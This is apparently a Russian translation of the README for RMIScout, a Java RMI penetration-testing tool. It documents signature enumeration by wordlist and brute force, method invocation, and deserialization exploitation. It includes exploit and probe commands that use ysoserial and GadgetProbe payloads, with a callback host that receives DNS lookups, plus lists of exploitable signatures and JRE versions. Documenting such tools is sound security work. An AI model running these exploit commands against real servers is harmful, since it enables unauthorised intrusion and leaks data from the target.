
RMIScout использует стратегии на основе словаря и перебора для перечисления функций Java RMI и эксплуатации уязвимостей десериализации параметров RMI.
RMIScout позволяет проводить атаки с использованием словарей и полного перебора на открытые интерфейсы Java RMI для безопасного угадывания сигнатур методов без их вызова. Поддерживаются несколько протоколов Java RMI, вызов методов и эксплуатация.
Для идентификации, но не выполнения функций RMI, RMIScout использует низкоуровневые сетевые функции RMI и динамическую генерацию классов, отправляя вызовы RMI с намеренно несовпадающими типами, чтобы вызвать удаленные исключения. Все параметры заменяются динамически генерируемым сериализуемым классом с именем из 255 символов, который, как предполагается, отсутствует в удаленном classpath. Например:
Удаленный интерфейс:
void login(String user, String password)
RMIScout выполнит вызов:
login((String) new QQkzkn3..255 символов..(), (String) new QQkzkn3..255 символов..())
Если класс присутствует, это приведет к удаленному исключению java.rmi.UnmarshalException, вызванному ClassNotFoundException или ошибкой десериализации аргументов, без выполнения базового метода.
Более подробные технические материалы:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
Укажите словарь прототипов методов для проверки на удаленном сервере. RMIScout выведет все найденные совпадения.
Для RMI-IIOP/CORBA: Если методы не перегружены, для перебора и вызова достаточно совпадения имен (вся остальная информация игнорируется).
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
Укажите словарь кандидатов имен методов, затем через запятую список кандидатов типов возвращаемых значений, диапазон количества параметров и кандидатов типов параметров. Режим полного перебора сгенерирует все перестановки и найдет совпадающие сигнатуры.
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
На неправильно настроенных серверах любую известную сигнатуру RMI, использующую не примитивные типы (например, java.util.List), можно эксплуатировать, заменив объект сериализованной полезной нагрузкой. Это довольно распространенная ошибка конфигурации (например, VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server и Gemfire, Apache Karaf + Cassandra), о чем говорилось в докладе An Trinh на Blackhat EU 2019.
RMIScout интегрируется с ysoserial для проведения атак десериализации на сервисы, неправильно настроившие общепроцессные фильтры сериализации (JEP 290).
Примеры эксплуатируемых сигнатур:
void exampleMethod(java.util.Map a) // Любые не примитивные типы
void exampleMethod(float[] a) // Любой тип массива, даже примитивы
void exampleMethod(String a) // Работает на старых JDK, см. ниже...
Примечание: Сигнатуры, содержащие типы java.lang.String, эксплуатируемы только в JRE 8/11/13/14 до начала 2020 года в RMI-JRMP, но в RMI-IIOP остаются эксплуатируемыми до сих пор.
./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' <host> <port>
./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)' <host> <port>
RMIScout позволяет вызывать любые сигнатуры с примитивами, массивами примитивов или строками. Более сложные типы потребуют написания собственного клиента.
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
RMIScout интегрируется с GadgetProbe для идентификации классов в удаленном classpath. Имена классов извлекаются через DNS.
Используйте прилагаемый скрипт rmiscout.sh для автоматической сборки проекта и как удобную обертку для синтаксиса java -jar:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
В качестве альтернативы можно собрать проект вручную и использовать традиционный синтаксис java -jar:
# Ручная сборка JAR
./gradlew shadowJar
java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
Примечание: RMI-IIOP (компиляция/выполнение) и ysoserial (выполнение) зависят от JDK8.
Запустите демонстрационный сервер RMI в Docker. Попробуйте прилагаемый файл demo/wordlist.txt.
cd demo
./start_demo.sh
В: Как определить, является ли <host>:<port> реестром RMI?
О: Используйте ./rmiscout list <host> <port>, чтобы получить информацию о реестрах на удаленном сервере.
[INFO] Registries available on 127.0.0.1:1099 = [ActivationServer:com.bishopfox.example.ActivationImpl_Stub, plaintest:com.bishopfox.example.HelloInterface]
Или используйте скрипт nmap rmi-dumpregistry:
nmap --script rmi-dumpregistry 172.17.0.1 -p 1099 -Pn
PORT STATE SERVICE
1099/tcp open rmiregistry
| rmi-dumpregistry:
| ActivationServer
| com.bishopfox.example.ActivationImpl_Stub
| \x00\x0EActivatableRef
| extends
| java.rmi.server.RemoteStub
| extends
| java.rmi.server.RemoteObject
| plaintest
| implements com.bishopfox.example.HelloInterface,
| extends
| java.lang.reflect.Proxy
| fields
| Ljava/lang/reflect/InvocationHandler; h
| java.rmi.server.RemoteObjectInvocationHandler
| @127.0.0.1:1111
| extends
|_ java.rmi.server.RemoteObject
В: Я нашел реестр на порту 1098 с именем java.rmi.activation.ActivationSystem. Что с ним можно сделать?
О: Это демон системы активации rmid. Все его методы ограничены SecurityManager. В более новых JRE перед десериализацией любых удаленных данных проверяется, происходит ли запрос с localhost. В старых (до 2011 года) версиях такая проверка отсутствовала, и они могут быть уязвимы. См. https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
В: Могу ли я запустить RMIScout с более новой средой выполнения, чем JRE 8?
О: Технически да, но многие функции перестанут работать. Поддержка CORBA, зондирование и ysoserial (режим эксплуатации) требуют JRE 8.
В: Почему я получаю CannotCompileException?
О: CannotCompileException возникает, когда недопустимое имя метода или прототип передается напрямую или через словарь. RMIScout генерирует байт-код для предоставленных пользователем сигнатур-кандидатов во время выполнения. Хотя RMIScout имеет базовые правила для исправления распространенных синтаксических ошибок в прототипах, иногда это может не сработать.
Twitter: @BumbleSec
GitHub: the-bumble